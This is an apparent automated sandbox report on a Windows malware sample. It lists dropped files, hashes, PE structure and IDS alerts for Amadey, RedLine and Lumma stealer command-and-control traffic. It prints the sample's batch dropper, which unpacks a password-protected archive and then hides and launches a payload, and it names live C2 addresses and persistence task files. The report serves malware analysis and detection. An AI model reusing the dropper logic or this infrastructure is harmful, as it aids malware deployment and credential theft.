SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Reputation:	unknown
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Reputation:	unknown
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	309760
Entropy (8bit):	6.300290167119982
Encrypted:	false
SSDEEP:	6144:mJNMAvoYumDMaLVA/HmH6iWmL/M+VK0lNSOBYJ0tYRVxGGPTY:HAvoYumDHVA/m9WmLlVK0lNQHPTY
MD5:	A9502D407C7A3E0C43AD669C27638793
SHA1:	BF0B7815C6DAC82643A5BF7BD397A6AA58A9E803
SHA-256:	5F3CD8392C045A321CCF0EDE6F38A4016A236F257D0A6AB897BF7F3E21868135
SHA-512:	0DBE8772DED05BA2C67EA7A7E9BC291B76D8B73DBAB86A35FCA5B1138BE41C2EE7A54333FCD7BF58823AB3B5F1F6250B98B829CA0C367CAFB2176350F5454D25
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c.Z.'.4M'.4M'.4M..M$.4M'.5M+.4MH..M-.4MH..M&.4MH..M&.4MRich'.4M................PE..d...Zs]g.........."......:...4......h4.........@..........................................@..................................................r..(.......(.......X....................................................................P..h............................text...j8.......:.................. ..`.rdata...$...P...$...>..............@..@.data...............................@....pdata..X............b..............@..@.rsrc...(............f..............@..@.x64.....P.......P...j..................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\PID\4140

Download File

Process:	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:W:W
MD5:	4F05D4821FE9967817DEA5A20C4E7B35
SHA1:	89446530A6A5FD76D714C1C6CA536A3241040D5F
SHA-256:	1F74494F923E9BF4BEDC9968F0418824C2B298BD83009812A45E547F6733AC7B
SHA-512:	FB347FF6F4BCF847487B074495D327AE941CF58D4C71E31745300C59FED205E75DD63F172F44BCC54CFE7D89412A780B550DCD73FA7EE3C534DB55DB173B52A1
Malicious:	false
Reputation:	unknown
Preview:	4140

C:\Users\user\AppData\Roaming\RegisterDate

Download File

Process:	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.2464393446710154
Encrypted:	false
SSDEEP:	3:OK3tR:OK3j
MD5:	B1B1F5E719EEE737981B9AECA1F0E0B9
SHA1:	F7C15E363B0C24F196D51DF69EC9CFEBD6275F66
SHA-256:	3D5E6350851C3CD9397A758EB945C30F6C47BE6DD8648FF6B4300F3786A604F9
SHA-512:	60DFFBA3C20A0857D1CE45D5DAF594834A6B079726819917A0A46CB35E720A0D73E78F35B44D78A75301B020C8D0C3F1EF3765378FBECFF731A17134BD56501A
Malicious:	false
Reputation:	unknown
Preview:	12/14/2024

C:\Windows\Tasks\Gxtuum.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.416890335733714
Encrypted:	false
SSDEEP:	6:JJrlPlVX55ZsUEZ+lX1VsLlw3btFXqYEp5t/uy0l1Et0:rFuQ1VsLlw37fXVet0
MD5:	8777043B34F0C7060959A7004146E670
SHA1:	24B96BAB316FC179BC6FFC4F60978F0F43094C2A
SHA-256:	B0D0F5DDC6ED0EC332C9196B4553AEC903BE61EE2C67B74D4812C9254CE65915
SHA-512:	B5FAC557028D23149876A5E026573B7F2DAECEB2703FD48A084846520732CF58D149FEE2BD1F294A1720588E1102F5DBAB960D4674755F30D233F0F6F7D18E03
Malicious:	false
Reputation:	unknown
Preview:	.....^.g..wC.*n.X3..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.e.2.9.e.a.5.0.8.b.\.G.x.t.u.u.m...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3743092476454493
Encrypted:	false
SSDEEP:	6:UDbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0l9l0lEt0:UDruQ1CGAFifXV9eEt0
MD5:	2D7C713BE345E3351DB59FA1DB3C5598
SHA1:	885BACCE58FC4C2657CC50BEB054BA42DA66DCA6
SHA-256:	05473095EAB7517958252177720E3B197870F445B0764C4D3B0BEB8522D40EAB
SHA-512:	789A1F05935EE360DC0C6623B39FFE9126599980B06D494FF744E75E2271A818075A439920380573E6A10D244ED020071E1E2C02E1202A31830DAF69AE179644
Malicious:	false
Reputation:	unknown
Preview:	....h[e..a.N..C?a9F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................7.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.578780125804901
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'026'432 bytes
MD5:	fc3e0787a6e4b444ba49d0e5baacc83c
SHA1:	1f43d2bad7421ee73c590c28639a5085f4839eb4
SHA256:	fe08226acae96e3654b236b2d7a9384d139611265e72d728469d82c9d1d9d150
SHA512:	f1e44da2565e74518a5c16dda5b2be45109d41793d6a3f173f01e0a4167738b5dcb495b47fef6efe889c3355ef7505eb783c7cb29c2a3c860015284cd578104e
SSDEEP:	49152:x//0hBzaDuucLy+bm13T8ZzytrrAETQe+A6roGaG9V:x//0/zWncLy+bm13T8ZzytrrpQe+troT
TLSH:	57E54BA2A509B3CFD48B1775952BCD81686D47F80B2058D7AC28B9BE7E73CC111B6C36
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD7BCE6F6AAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31c08c	0x10	fihjakvg
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31c03c	0x18	fihjakvg
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	b2046c35305a770346547a46bdcc624b	False	0.9982597496594006	OpenPGP Secret Key	7.987148620737619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fihjakvg	0x6b000	0x2b2000	0x2b1200	9505211e4823dd91d4378b6683d61418	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rlkpunhe	0x31d000	0x1000	0x600	cb6467238ff643095a4cbe2c5d5309a1	False	0.57421875	data	5.005261433797702	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31e000	0x3000	0x2200	eba30dae3cf01ffa686b257be8561d3a	False	0.060317095588235295	DOS executable (COM)	0.760093892069462	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-14T14:56:05.610703+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49816	185.215.113.43	80	TCP
2024-12-14T14:56:10.075935+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49828	31.41.244.11	80	TCP
2024-12-14T14:56:13.332936+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49827	TCP
2024-12-14T14:56:14.678897+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49839	185.215.113.43	80	TCP
2024-12-14T14:56:15.495072+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.495072+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.495072+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:16.152003+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49846	31.41.244.11	80	TCP
2024-12-14T14:56:17.505046+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:17.505046+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:17.505046+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:23.066682+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49865	185.81.68.147	80	TCP
2024-12-14T14:56:24.282627+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:24.282627+0100	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:24.738856+0100	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	185.81.68.147	1912	192.168.2.5	49870	TCP
2024-12-14T14:56:24.843036+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49871	185.215.113.43	80	TCP
2024-12-14T14:56:26.565226+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49876	31.41.244.11	80	TCP
2024-12-14T14:56:29.918746+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:30.409622+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	185.81.68.147	1912	192.168.2.5	49870	TCP
2024-12-14T14:56:30.972411+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49888	185.81.68.147	80	TCP
2024-12-14T14:56:31.289239+0100	2001046	ET MALWARE UPX compressed file download possible malware	3	185.81.68.147	80	192.168.2.5	49888	TCP
2024-12-14T14:56:32.859073+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:33.358067+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:34.005139+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:34.594013+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:36.531297+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:36.531297+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:36.531297+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:38.035080+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49907	185.215.113.43	80	TCP
2024-12-14T14:56:38.397120+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:38.397120+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:38.397120+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:39.618737+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49913	31.41.244.11	80	TCP
2024-12-14T14:56:40.101469+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:40.101469+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:40.101469+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:40.808496+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:41.531336+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:42.056747+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:42.056747+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:42.056747+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:42.128064+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:42.615015+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:43.162678+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:43.776229+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:43.776229+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:43.776229+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:45.230013+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49930	185.215.113.43	80	TCP
2024-12-14T14:56:45.506190+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:45.506190+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:45.506190+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:47.165119+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49935	185.215.113.16	80	TCP
2024-12-14T14:56:47.521205+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:47.521205+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:47.521205+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:48.993403+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:49.381296+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:49.381296+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:49.381296+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:49.649135+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:49.769201+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:51.463067+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:51.463067+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:51.463067+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:51.546227+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:52.056622+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:52.512966+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:52.838603+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49958	185.215.113.43	80	TCP
2024-12-14T14:56:53.191858+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:53.191858+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:53.191858+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:53.903384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:56:54.100849+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:54.433520+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49964	185.215.113.16	80	TCP
2024-12-14T14:56:54.601027+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:54.651643+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:56:54.651643+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:56:54.679411+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	63673	1.1.1.1	53	UDP
2024-12-14T14:56:54.679411+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	63673	1.1.1.1	53	UDP
2024-12-14T14:56:55.237237+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:55.342339+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57652	1.1.1.1	53	UDP
